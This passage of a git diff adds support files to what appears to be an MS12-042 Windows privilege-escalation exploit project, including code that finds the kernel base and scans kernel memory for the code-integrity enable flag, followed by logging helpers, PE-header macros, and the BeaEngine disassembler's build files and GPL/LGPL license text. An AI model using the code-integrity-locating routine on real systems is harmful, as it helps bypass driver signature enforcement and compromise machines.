&dwNeededSize) && dwNeededSize < sizeof(DriverList)) + { + if( GetDeviceDriverBaseName(DriverList[0], szDriver, sizeof(szDriver)/sizeof(szDriver[0])) ) + { + DEBUG_PRINTF(L_INFO,"Kernel Executive Entry (%s) at : %p", szDriver, DriverList[0]); + *kernelBase = (ULONG_PTR)DriverList[0]; + strncpy( kernelImage, szDriver, Size); + return TRUE; + } + } + else + REPORT_ERROR( "EnumDeviceDrivers()", &err); + + return TRUE; +} + +ULONG_PTR +GetCiEnabledAddress( + IN HMODULE hModule + ) +{ + // this function is actualy pice of shit but works fine :O + // sub rsp, 38h + // cmp XXX, 0h + BYTE SeValidateSig[] = { 0x48, 0x83, 0xEC, 0x38, 0x80 }; + DISASM MyDisasm; + CHAR Inst[100]; + CHAR temp[100]; + LONGLONG CiEnabled = NULL; + BOOL bCiEnable = FALSE; + BOOL bCallR10 = FALSE; + BOOL bEpilog = FALSE; + int len, i = 0; + int Error = 0; + + while ( TRUE ) + { + if ( !memcmp( hModule, SeValidateSig, 5 ) ) + { + SecureZeroMemory(&MyDisasm, sizeof(DISASM)); + MyDisasm.Archi = 64; + MyDisasm.EIP = (UIntPtr) (hModule); + + while ( ( !Error ) && ( i < 500 )) + { + len = Disasm(&MyDisasm); + if ( len != UNKNOWN_OPCODE ) + { + MyDisasm.EIP = MyDisasm.EIP + (UIntPtr)len; + i++; + if ( bCiEnable == FALSE ) + { + CHAR *c = strchr(MyDisasm.CompleteInstr, '['); + if ( c != NULL ) + { + strcpy(temp,c+1); + c = strchr(temp, 'h'); + *c = '\0'; + sscanf(( LPCTSTR )temp, "%I64X", &CiEnabled ); + bCiEnable = TRUE; + } + } + + if ( strstr( MyDisasm.CompleteInstr, "add rsp, 38h") ) + { + bEpilog = TRUE; + break; + } + else if ( strstr( MyDisasm.CompleteInstr, "call r10") ) + { + bCallR10 = TRUE; + } + } + else + Error = 1; + } + } + + if ( bEpilog && bCallR10 && bCiEnable ) + break; + + bEpilog = bCallR10 = bCiEnable = FALSE; + hModule++; + i = 0; + } + + return CiEnabled; +} + diff --git a/97-Windows提权/MS12-042/sysret-source/junk/log.cpp b/97-Windows提权/MS12-042/sysret-source/junk/log.cpp new file mode 100644 index 0000000..02ffc01 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/log.cpp @@ -0,0 +1,89 @@ +#include "log.h" + +VOID +REPORT_ERROR( + IN PCHAR Function, + OUT PERRORINFO ErrorInfo + ) +{ + ErrorInfo->dwErrorNum = GetLastError(); + REPORT_ERROR_EX( Function, + GetLastError(), + ErrorInfo); +} + +VOID +REPORT_ERROR_EX( + IN PCHAR Function, + IN DWORD dwErrorNumber, + OUT PERRORINFO ErrorInfo + ) +{ + BOOL bErrorHandle; + HMODULE hErrorDllHandle; + + ErrorInfo->dwErrorNum = dwErrorNumber; + bErrorHandle = FormatMessage( FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, + NULL, + ErrorInfo->dwErrorNum, + MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT), + ErrorInfo->ErrorMsg, + 256, + NULL); + if ( bErrorHandle == FALSE ) + { + // load library and check the error again for network related errors + hErrorDllHandle = LoadLibraryEx( "netmsg.dll", + NULL, + DONT_RESOLVE_DLL_REFERENCES); + if ( hErrorDllHandle != NULL ) + { + bErrorHandle = FormatMessage( FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, + NULL, + ErrorInfo->dwErrorNum, + MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT), + ErrorInfo->ErrorMsg, + 256, + NULL); + } + } + if ( bErrorHandle == FALSE ) + { + strncpy(ErrorInfo->ErrorMsg,"Unknown Error", 256); + } + + // allocate memory for completed error message + ErrorInfo->CompletErrorMsg = (CHAR *) GlobalAlloc( GMEM_FIXED, 512 ); + sprintf( ErrorInfo->CompletErrorMsg ,"%s failed with error %d (%s)\n", Function, ErrorInfo->dwErrorNum, ErrorInfo->ErrorMsg ); + //snprintf instead ? + DEBUG_PRINTF(L_ERROR,"%s",ErrorInfo->CompletErrorMsg); +} + + +VOID +DEBUG_PRINTF( + IN LEVEL Level, + IN PCHAR Format, + IN ... + ) +{ + CHAR Buffer[1024] = {0}; + va_list Args; + + va_start(Args, Format); + vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args); + va_end(Args); + +#ifdef __DEBUG__ + switch (Level) { + case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break; + case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break; + case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break; + case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break; + } + fflush(stdout); + fflush(stderr); + return; +#endif + +} \ No newline at end of file diff --git a/97-Windows提权/MS12-042/sysret-source/junk/log.h b/97-Windows提权/MS12-042/sysret-source/junk/log.h new file mode 100644 index 0000000..ffe3859 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/log.h @@ -0,0 +1,33 @@ +#include +#include +#include +#define __DEBUG__ +#pragma once + +typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL; + +typedef struct _ERRORINFO { + DWORD dwErrorNum; + CHAR ErrorMsg[256]; + CHAR *CompletErrorMsg; +} ERRORINFO, *PERRORINFO; + +VOID +DEBUG_PRINTF( + IN LEVEL Level, + IN PCHAR Format, + IN ... + ); + +VOID +REPORT_ERROR_EX( + IN PCHAR Function, + IN DWORD dwErrorNumber, + OUT PERRORINFO ErrorInfo + ); + +VOID +REPORT_ERROR( + IN PCHAR Function, + OUT PERRORINFO ErrorInfo + ); \ No newline at end of file diff --git a/97-Windows提权/MS12-042/sysret-source/junk/peutil.h b/97-Windows提权/MS12-042/sysret-source/junk/peutil.h new file mode 100644 index 0000000..f166ed9 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/peutil.h @@ -0,0 +1,23 @@ +#include +#include +#pragma once + +#define SIZE_OF_NT_SIGNATURE sizeof(IMAGE_NT_SIGNATURE) +#define NTSIGNATURE(a) ((LPVOID)((BYTE *)a + ((PIMAGE_DOS_HEADER)a)->e_lfanew)) +#define OPTHDROFFSET(a) ((LPVOID)((BYTE *)a + ((PIMAGE_DOS_HEADER)a)->e_lfanew + SIZE_OF_NT_SIGNATURE + sizeof (IMAGE_FILE_HEADER))) +#define PEFHDROFFSET(a) ((LPVOID)((BYTE *)a + ((PIMAGE_DOS_HEADER)a)->e_lfanew + SIZE_OF_NT_SIGNATURE)) +#define SECHDROFFSET(a) ((LPVOID)((BYTE *)a + ((PIMAGE_DOS_HEADER)a)->e_lfanew + SIZE_OF_NT_SIGNATURE + sizeof(IMAGE_FILE_HEADER) + sizeof(IMAGE_OPTIONAL_HEADER))) +#define OPTHDROFFSET(a) ((LPVOID)((BYTE *)a + ((PIMAGE_DOS_HEADER)a)->e_lfanew + SIZE_OF_NT_SIGNATURE + sizeof (IMAGE_FILE_HEADER))) +#define NUMOFSECTION(a) ((DWORD)((PIMAGE_FILE_HEADER) PEFHDROFFSET(a))->NumberOfSections); +#define IsBitSet(val, bit) ((val) & (1 << (bit))) + + +PVOID +PeGetCodeSectionAddress( + IN PVOID BaseAddress + ); + +DWORD +PeGetCodeSectionSize( + IN PVOID BaseAddress + ); \ No newline at end of file diff --git a/97-Windows提权/MS12-042/sysret-source/junk/peutils.cpp b/97-Windows提权/MS12-042/sysret-source/junk/peutils.cpp new file mode 100644 index 0000000..8dbbdb1 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/peutils.cpp @@ -0,0 +1,24 @@ +#include "peutil.h" + +/* WTF _WIN64 is not defined!!!! */ +PVOID +PeGetCodeSectionAddress( + IN PVOID BaseAddress + ) +{ + PIMAGE_OPTIONAL_HEADER64 pOptionalHeader; + + pOptionalHeader = (PIMAGE_OPTIONAL_HEADER64) OPTHDROFFSET(BaseAddress); + return (PVOID)(pOptionalHeader->BaseOfCode + (ULONG_PTR)BaseAddress); +} + +DWORD +PeGetCodeSectionSize( + IN PVOID BaseAddress + ) +{ + PIMAGE_OPTIONAL_HEADER64 pOptionalHeader; + + pOptionalHeader = (PIMAGE_OPTIONAL_HEADER64) OPTHDROFFSET(BaseAddress); + return pOptionalHeader->SizeOfCode; +} \ No newline at end of file diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/CMakeLists.txt b/97-Windows提权/MS12-042/sysret-source/junk/sources/CMakeLists.txt new file mode 100644 index 0000000..d2209a7 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/CMakeLists.txt @@ -0,0 +1,384 @@ +project (BeaEngine) +cmake_minimum_required (VERSION 2.6) + +set (CMAKE_MODULE_PATH "${CMAKE_SOURCE_DIR}/cmake") + +#set (CMAKE_VERBOSE_MAKEFILE ON) + +option (optHAS_OPTIMIZED "Turn Optimizations ON" OFF) +option (optHAS_SYMBOLS "Build with debug Symbols" ON) +option (optBUILD_64BIT "Build 64 bits executable" OFF) +option (optBUILD_DLL "Build Shared Objects" OFF) +option (optBUILD_STDCALL "Build using stdcall" OFF) +option (optBUILD_LITE "Build without text disassembly" OFF) + +if (optHAS_OPTIMIZED) + if (optHAS_SYMBOLS) + set (CMAKE_BUILD_TYPE relwithdebinfo) + else (optHAS_SYMBOLS) + set (CMAKE_BUILD_TYPE release) + endif (optHAS_SYMBOLS) +else (optHAS_OPTIMIZED) + if (optHAS_SYMBOLS) + set (CMAKE_BUILD_TYPE Debug) + else (optHAS_SYMBOLS) + set (CMAKE_BUILD_TYPE Debug) + endif (optHAS_SYMBOLS) +endif (optHAS_OPTIMIZED) + +# determine BEA_COMPILER +if (NOT BEA_COMPILER) + if (${CMAKE_SYSTEM_NAME} STREQUAL Linux) + if (WATCOM) + set (BEA_COMPILER watcom) + else () + set (BEA_COMPILER gnu) + endif () + endif () + if (${CMAKE_SYSTEM_NAME} STREQUAL FreeBSD) + set (BEA_COMPILER gnu) + endif () + if (${CMAKE_SYSTEM_NAME} STREQUAL SunOS) + set (BEA_COMPILER suncc) + endif () + if (${CMAKE_SYSTEM_NAME} STREQUAL Windows) + if (MINGW OR MSYS) + set (BEA_COMPILER gnu) + else () + if (CYGWIN) + set (BEA_COMPILER gnu) + else () + if (BORLAND) + set (BEA_COMPILER borland) + else () + if (MSVC) + set (BEA_COMPILER msvc) + else () + if (WATCOM) + set (BEA_COMPILER watcom) + endif () + endif () + endif () + endif () + endif () + endif () +endif () + +# ========================================= +# gcc configuration +# ========================================= +if (BEA_COMPILER STREQUAL gnu) + set (CMAKE_C_COMPILER gcc) + set (CMAKE_CXX_COMPILER g++) + set (BEA_WARNINGS -Wall -W -Wextra -Wconversion -Wno-long-long + -Wshadow -Wpointer-arith -Wcast-qual -Wcast-align -Wwrite-strings) + set (BEA_FLAGS -pedantic -ansi -pipe -fno-common -fshort-enums ) + set (BEA_DEFINITIONS "") + if (optHAS_SYMBOLS) + list (APPEND BEA_FLAGS -g) + endif () + if (optHAS_OPTIMIZED) + list (APPEND BEA_FLAGS -fomit-frame-pointer -O2) + endif () + if (optBUILD_64BIT) + list (APPEND BEA_FLAGS -m64) + endif () + if (optBUILD_STDCALL) + list (APPEND BEA_DEFINITIONS "-DBEA_USE_STDCALL") + endif () + if (optBUILD_LITE) + list (APPEND BEA_DEFINITIONS "-DBEA_LIGHT_DISASSEMBLY") + endif () +endif () +# ========================================= +# SunStudio configuration +# ========================================= +if (BEA_COMPILER STREQUAL suncc) + set (CMAKE_C_COMPILER cc) + set (CMAKE_CXX_COMPILER CC) + list (APPEND BEA_FLAGS "-xmemalign=ab") +endif () +# ========================================= +# Visual Studio configuration +# ========================================= +if (BEA_COMPILER STREQUAL msvc) + set (CMAKE_C_COMPILER cl) + set (CMAKE_CXX_COMPILER cl) + set (BEA_DEFINITIONS "/DBEA_LACKS_SNPRINTF /D_CRT_SECURE_NO_WARNINGS") + + if (optBUILD_STDCALL) + set (BEA_DEFINITIONS "${BEA_DEFINITIONS} /DBEA_USE_STDCALL") + endif () + if (optBUILD_LITE) + set (BEA_DEFINITIONS "${BEA_DEFINITIONS} /DBEA_LIGHT_DISASSEMBLY") + endif () + if (MSVC60) + set (BEA_WARNINGS /W3) + else () + if (NOT MSVC90) + set (BEA_WARNINGS /W3 /Wp64) + else () + set (BEA_WARNINGS /W4) + endif () + endif () + if (optHAS_SYMBOLS) + list (APPEND BEA_FLAGS /ZI) + list (APPEND BEA_DEFINITIONS "/D_DEBUG=1") + endif () + if (optHAS_OPTIMIZED) + list (APPEND BEA_FLAGS /O2) + list (APPEND BEA_DEFINITIONS "/DNDEBUG") + endif () + + # determine code generation model + if (optHAS_OPTIMIZED) + if (optBUILD_DLL) + list (APPEND BEA_FLAGS /MD) + else () + list (APPEND BEA_FLAGS /MT) + endif () + else () + if (optBUILD_DLL) + list (APPEND BEA_FLAGS /MDd) + else () + list (APPEND BEA_FLAGS /MTd) + endif () + endif () +endif () +# ========================================= +# Intel Compiler configuration +# ========================================= +if (BEA_COMPILER STREQUAL intel) + set (CMAKE_C_COMPILER icc) + set (CMAKE_CXX_COMPILER icpc) + set (BEA_WARNINGS -Wall -Wcheck -Wp64 -wd981 -wd1419 -wd1418) + set (BEA_FLAGS -ansi -pipe) + set (BEA_DEFINITIONS "") + if (optHAS_SYMBOLS) + list (APPEND BEA_FLAGS -g) + endif () + if (optHAS_OPTIMIZED) + list (APPEND BEA_FLAGS -fomit-frame-pointer -O3 -ip) + endif () + if (optBUILD_64BIT) + list (APPEND BEA_FLAGS -m64) + endif () + if (optBUILD_STDCALL) + list (APPEND BEA_DEFINITIONS "-DBEA_USE_STDCALL") + endif () + if (optBUILD_LITE) + list (APPEND BEA_DEFINITIONS "-DBEA_LIGHT_DISASSEMBLY") + endif () +endif () + +# ========================================= +# Borland C configuration +# ========================================= +if (BEA_COMPILER STREQUAL borland) + set (CMAKE_C_COMPILER bcc32) + set (CMAKE_CXX_COMPILER bcc32) + + set (BEA_WARNINGS -w -wamb -wdef -wnod -wnak -wcln -wsig -wucp) + set (BEA_FLAGS -pc -p- -H- -b -d -Hu-) + set (BEA_DEFINITIONS "") + if (optHAS_SYMBOLS) + list (APPEND BEA_FLAGS -v -y -R) + endif () + if (optHAS_OPTIMIZED) + list (APPEND BEA_FLAGS -O2) + endif () + if (optBUILD_64BIT) + set (BEA_DEFINITIONS "-D_WIN64") + else () + set (BEA_DEFINITIONS "-D_WIN32") + endif () + if (optBUILD_STDCALL) + list (APPEND BEA_DEFINITIONS "-DBEA_USE_STDCALL") + endif () + if (optBUILD_LITE) + list (APPEND BEA_DEFINITIONS "-DBEA_LIGHT_DISASSEMBLY") + endif () +endif () +# ========================================= +# Watcom C configuration +# ========================================= +if (BEA_COMPILER STREQUAL watcom) + set (CMAKE_C_COMPILER wcl386) + set (CMAKE_CXX_COMPILER wcl386) + set (BEA_DEFINITIONS "-DBEA_STL_CONTAINER_REQUIRES_DEFAULT_CTOR") + set (BEA_WARNINGS -w2 -wx ) + set (BEA_FLAGS -q -fpi -fpi87 "-bt=nt" -zq -6r -mf) + if (optHAS_SYMBOLS) + list (APPEND BEA_FLAGS -db -d2 ) + endif () + if (optHAS_OPTIMIZED) + list (APPEND BEA_FLAGS -ox -s -ors ) + endif () + if (optBUILD_64BIT) +# list (APPEND BEA_FLAGS -m64) + endif () + + if (optBUILD_STDCALL) + set (BEA_DEFINITIONS "${BEA_DEFINITIONS} -DBEA_USE_STDCALL") + endif () + if (optBUILD_LITE) + set (BEA_DEFINITIONS "${BEA_DEFINITIONS} -DBEA_LIGHT_DISASSEMBLY") + endif () + set (CMAKE_EXE_LINKER_FLAGS "-l=nt") + set (CMAKE_SHARED_LINKER_FLAGS "-l=nt") + + +endif () + +# ========================================= +# Pelles C configuration +# ========================================= +if (BEA_COMPILER STREQUAL pelles) + set (CMAKE_C_COMPILER pocc) + #set (CMAKE_CXX_COMPILER pocc) + + set (BEA_WARNINGS /W2) + set (BEA_FLAGS /Gm /Gn) + set (BEA_DEFINITIONS "") + if (optHAS_SYMBOLS) + list (APPEND BEA_FLAGS /Zi ) + endif () + if (optHAS_OPTIMIZED) + list (APPEND BEA_FLAGS /Ox ) + endif () + if (optBUILD_64BIT) +# list (APPEND BEA_FLAGS -m64) + endif () + if (optBUILD_STDCALL) + list (APPEND BEA_DEFINITIONS "/DBEA_USE_STDCALL") + endif () + if (optBUILD_LITE) + list (APPEND BEA_DEFINITIONS "/DBEA_LIGHT_DISASSEMBLY") + endif () +endif () + + + + +# ============================================ +# construct compiler flags +# ============================================ +set (myC_FLAGS "") +set (myCXX_FLAGS "") + +foreach (flag ${BEA_FLAGS}) + set (myC_FLAGS "${myC_FLAGS} ${flag}") +endforeach () + +foreach (flag ${BEA_WARNINGS}) + set (myC_FLAGS "${myC_FLAGS} ${flag}") +endforeach () + +foreach (flag ${BEA_FLAGS}) + set (myCXX_FLAGS "${myCXX_FLAGS} ${flag}") +endforeach () + +foreach (flag ${BEA_WARNINGS}) + set (myCXX_FLAGS "${myCXX_FLAGS} ${flag}") +endforeach () + +# ================================================ +# pass compiler flags to cmake +# ================================================ + +if (${CMAKE_BUILD_TYPE} STREQUAL RelWithDebInfo) + set (CMAKE_C_FLAGS_RELWITHDEBINFO ${myC_FLAGS}) + set (CMAKE_CXX_FLAGS_RELWITHDEBINFO ${myCXX_FLAGS}) +endif () + +if (${CMAKE_BUILD_TYPE} STREQUAL Release) + set (CMAKE_C_FLAGS_RELEASE ${myC_FLAGS}) + set (CMAKE_CXX_FLAGS_RELEASE ${myCXX_FLAGS}) +endif () + +if (${CMAKE_BUILD_TYPE} STREQUAL DebugFull) + set (CMAKE_C_FLAGS_DEBUGFULL ${myC_FLAGS}) + set (CMAKE_CXX_FLAGS_DEBUGFULL ${myCXX_FLAGS}) +endif () + +if (${CMAKE_BUILD_TYPE} STREQUAL Debug) + set (CMAKE_C_FLAGS_DEBUG ${myC_FLAGS}) + set (CMAKE_CXX_FLAGS_DEBUG ${myCXX_FLAGS}) +endif () + + +set (BEA_INCLUDE_PATH ${CMAKE_SOURCE_DIR}/include) +set (BEA_SRC_ROOT ${CMAKE_SOURCE_DIR}/beaengineSources) + + + +# ====================================== +# set output dirs +# ====================================== + +set (myQualification "${CMAKE_SYSTEM_NAME}.${BEA_COMPILER}.${CMAKE_BUILD_TYPE}") +set (myLIB_OUTPUT "${CMAKE_SOURCE_DIR}/lib/${myQualification}" ) +set (myBIN_OUTPUT "${CMAKE_SOURCE_DIR}/bin/${myQualification}") +set (myOBJ_OUTPUT obj) + +if (optBUILD_64BIT) + set (myLIB_OUTPUT "${myLIB_OUTPUT}.64" ) + set (myBIN_OUTPUT "${myBIN_OUTPUT}.64") + set (myOBJ_OUTPUT "${myOBJ_OUTPUT}.64") +endif () + +set (CMAKE_ARCHIVE_OUTPUT_DIRECTORY ${myLIB_OUTPUT}) +set (CMAKE_LIBRARY_OUTPUT_DIRECTORY ${myLIB_OUTPUT}) +set (CMAKE_RUNTIME_OUTPUT_DIRECTORY ${myBIN_OUTPUT}) + + + +FIND_PACKAGE (ZLIB) + + +set (build_modules + beaengineSources + #examples + #unittest +) + + + +if (NOT ZLIB_FOUND) + set (ZLIB_INCLUDE_DIR unittest/thirdparty/zlib) +else () + list (APPEND BEA_LIBS_PATH ${ZLIB_LIBRARIES}) +endif () + + +add_definitions (${BEA_DEFINITIONS}) +include_directories (${BEA_SRC_ROOT} ${BEA_INCLUDE_PATH} + ${CMAKE_SOURCE_DIR} ${ZLIB_INCLUDE_DIR}) +link_directories (${BEA_LIBS_PATH}) + + +set (BEA_TARGET "BeaEngine") + +if (NOT optBUILD_DLL) + set (BEA_TARGET "${BEA_TARGET}_s") +endif () + +if (NOT optHAS_OPTIMIZED) + set (BEA_TARGET "${BEA_TARGET}_d") +endif () + +if (optBUILD_STDCALL) + set (BEA_TARGET "${BEA_TARGET}_stdcall") +endif () + +if (optBUILD_64BIT) + set (BEA_TARGET "${BEA_TARGET}_64") +endif () + + + +foreach (mdl ${build_modules}) + set (MDL_SRC "${mdl}") + set (MDL_OBJ "${myOBJ_OUTPUT}/${myQualification}/${mdl}") + add_subdirectory (${MDL_SRC} ${MDL_OBJ}) +endforeach () diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/BeaEngine.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/BeaEngine.c new file mode 100644 index 0000000..e1b5c78 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/BeaEngine.c @@ -0,0 +1,56 @@ +/* + * BeaEngine 4 - x86 & x86-64 disassembler library + * + * Copyright 2006-2010, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +#include +#include +#include + +#include "../include/beaengine/BeaEngine.h" +#include "Includes/protos.h" +#include "Includes/internal_datas.h" +#include "Includes/instr_set/Data_opcode.h" +#include "Includes/instr_set/opcodes_A_M.c" +#include "Includes/instr_set/opcodes_N_Z.c" +#include "Includes/instr_set/opcodes_Grp1.c" +#include "Includes/instr_set/opcodes_Grp2.c" +#include "Includes/instr_set/opcodes_Grp3.c" +#include "Includes/instr_set/opcodes_Grp4.c" +#include "Includes/instr_set/opcodes_Grp5.c" +#include "Includes/instr_set/opcodes_Grp6.c" +#include "Includes/instr_set/opcodes_Grp7.c" +#include "Includes/instr_set/opcodes_Grp8.c" +#include "Includes/instr_set/opcodes_Grp9.c" +#include "Includes/instr_set/opcodes_Grp12.c" +#include "Includes/instr_set/opcodes_Grp13.c" +#include "Includes/instr_set/opcodes_Grp14.c" +#include "Includes/instr_set/opcodes_Grp15.c" +#include "Includes/instr_set/opcodes_Grp16.c" +#include "Includes/instr_set/opcodes_FPU.c" +#include "Includes/instr_set/opcodes_MMX.c" +#include "Includes/instr_set/opcodes_SSE.c" +#include "Includes/instr_set/opcodes_AES.c" +#include "Includes/instr_set/opcodes_CLMUL.c" +#include "Includes/instr_set/opcodes_prefixes.c" +#include "Includes/Routines_ModRM.c" +#include "Includes/Routines_Disasm.c" +#include "Includes/BeaEngineVersion.c" + +void BeaEngine(void){return;} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/BeaEngine.obj b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/BeaEngine.obj new file mode 100644 index 0000000..98ce912 Binary files /dev/null and b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/BeaEngine.obj differ diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/CMakeLists.txt b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/CMakeLists.txt new file mode 100644 index 0000000..e8fcb05 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/CMakeLists.txt @@ -0,0 +1,9 @@ +set (BEA_SOURCES BeaEngine.c) + +if (optBUILD_DLL) + add_library (${BEA_TARGET} SHARED BeaEngine.c) + set_target_properties (${BEA_TARGET} PROPERTIES COMPILE_FLAGS "-DBUILD_BEA_ENGINE_DLL") +else () + add_library (${BEA_TARGET} STATIC BeaEngine.c) + set_target_properties (${BEA_TARGET} PROPERTIES COMPILE_FLAGS "-DBEA_ENGINE_STATIC") +endif () diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/COPYING.LESSER.txt b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/COPYING.LESSER.txt new file mode 100644 index 0000000..fc8a5de --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/COPYING.LESSER.txt @@ -0,0 +1,165 @@ + GNU LESSER GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + + This version of the GNU Lesser General Public License incorporates +the terms and conditions of version 3 of the GNU General Public +License, supplemented by the additional permissions listed below. + + 0. Additional Definitions. + + As used herein, "this License" refers to version 3 of the GNU Lesser +General Public License, and the "GNU GPL" refers to version 3 of the GNU +General Public License. + + "The Library" refers to a covered work governed by this License, +other than an Application or a Combined Work as defined below. + + An "Application" is any work that makes use of an interface provided +by the Library, but which is not otherwise based on the Library. +Defining a subclass of a class defined by the Library is deemed a mode +of using an interface provided by the Library. + + A "Combined Work" is a work produced by combining or linking an +Application with the Library. The particular version of the Library +with which the Combined Work was made is also called the "Linked +Version". + + The "Minimal Corresponding Source" for a Combined Work means the +Corresponding Source for the Combined Work, excluding any source code +for portions of the Combined Work that, considered in isolation, are +based on the Application, and not on the Linked Version. + + The "Corresponding Application Code" for a Combined Work means the +object code and/or source code for the Application, including any data +and utility programs needed for reproducing the Combined Work from the +Application, but excluding the System Libraries of the Combined Work. + + 1. Exception to Section 3 of the GNU GPL. + + You may convey a covered work under sections 3 and 4 of this License +without being bound by section 3 of the GNU GPL. + + 2. Conveying Modified Versions. + + If you modify a copy of the Library, and, in your modifications, a +facility refers to a function or data to be supplied by an Application +that uses the facility (other than as an argument passed when the +facility is invoked), then you may convey a copy of the modified +version: + + a) under this License, provided that you make a good faith effort to + ensure that, in the event an Application does not supply the + function or data, the facility still operates, and performs + whatever part of its purpose remains meaningful, or + + b) under the GNU GPL, with none of the additional permissions of + this License applicable to that copy. + + 3. Object Code Incorporating Material from Library Header Files. + + The object code form of an Application may incorporate material from +a header file that is part of the Library. You may convey such object +code under terms of your choice, provided that, if the incorporated +material is not limited to numerical parameters, data structure +layouts and accessors, or small macros, inline functions and templates +(ten or fewer lines in length), you do both of the following: + + a) Give prominent notice with each copy of the object code that the + Library is used in it and that the Library and its use are + covered by this License. + + b) Accompany the object code with a copy of the GNU GPL and this license + document. + + 4. Combined Works. + + You may convey a Combined Work under terms of your choice that, +taken together, effectively do not restrict modification of the +portions of the Library contained in the Combined Work and reverse +engineering for debugging such modifications, if you also do each of +the following: + + a) Give prominent notice with each copy of the Combined Work that + the Library is used in it and that the Library and its use are + covered by this License. + + b) Accompany the Combined Work with a copy of the GNU GPL and this license + document. + + c) For a Combined Work that displays copyright notices during + execution, include the copyright notice for the Library among + these notices, as well as a reference directing the user to the + copies of the GNU GPL and this license document. + + d) Do one of the following: + + 0) Convey the Minimal Corresponding Source under the terms of this + License, and the Corresponding Application Code in a form + suitable for, and under terms that permit, the user to + recombine or relink the Application with a modified version of + the Linked Version to produce a modified Combined Work, in the + manner specified by section 6 of the GNU GPL for conveying + Corresponding Source. + + 1) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (a) uses at run time + a copy of the Library already present on the user's computer + system, and (b) will operate properly with a modified version + of the Library that is interface-compatible with the Linked + Version. + + e) Provide Installation Information, but only if you would otherwise + be required to provide such information under section 6 of the + GNU GPL, and only to the extent that such information is + necessary to install and execute a modified version of the + Combined Work produced by recombining or relinking the + Application with a modified version of the Linked Version. (If + you use option 4d0, the Installation Information must accompany + the Minimal Corresponding Source and Corresponding Application + Code. If you use option 4d1, you must provide the Installation + Information in the manner specified by section 6 of the GNU GPL + for conveying Corresponding Source.) + + 5. Combined Libraries. + + You may place library facilities that are a work based on the +Library side by side in a single library together with other library +facilities that are not Applications and are not covered by this +License, and convey such a combined library under terms of your +choice, if you do both of the following: + + a) Accompany the combined library with a copy of the same work based + on the Library, uncombined with any other library facilities, + conveyed under the terms of this License. + + b) Give prominent notice with the combined library that part of it + is a work based on the Library, and explaining where to find the + accompanying uncombined form of the same work. + + 6. Revised Versions of the GNU Lesser General Public License. + + The Free Software Foundation may publish revised and/or new versions +of the GNU Lesser General Public License from time to time. Such new +versions will be similar in spirit to the present version, but may +differ in detail to address new problems or concerns. + + Each version is given a distinguishing version number. If the +Library as you received it specifies that a certain numbered version +of the GNU Lesser General Public License "or any later version" +applies to it, you have the option of following the terms and +conditions either of that published version or of any later version +published by the Free Software Foundation. If the Library as you +received it does not specify a version number of the GNU Lesser +General Public License, you may choose any version of the GNU Lesser +General Public License ever published by the Free Software Foundation. + + If the Library as you received it specifies that a proxy can decide +whether future versions of the GNU Lesser General Public License shall +apply, that proxy's public statement of acceptance of any version is +permanent authorization for you to choose that version for the +Library. diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/COPYING.txt b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/COPYING.txt new file mode 100644 index 0000000..94a9ed0 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/COPYING.txt @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you 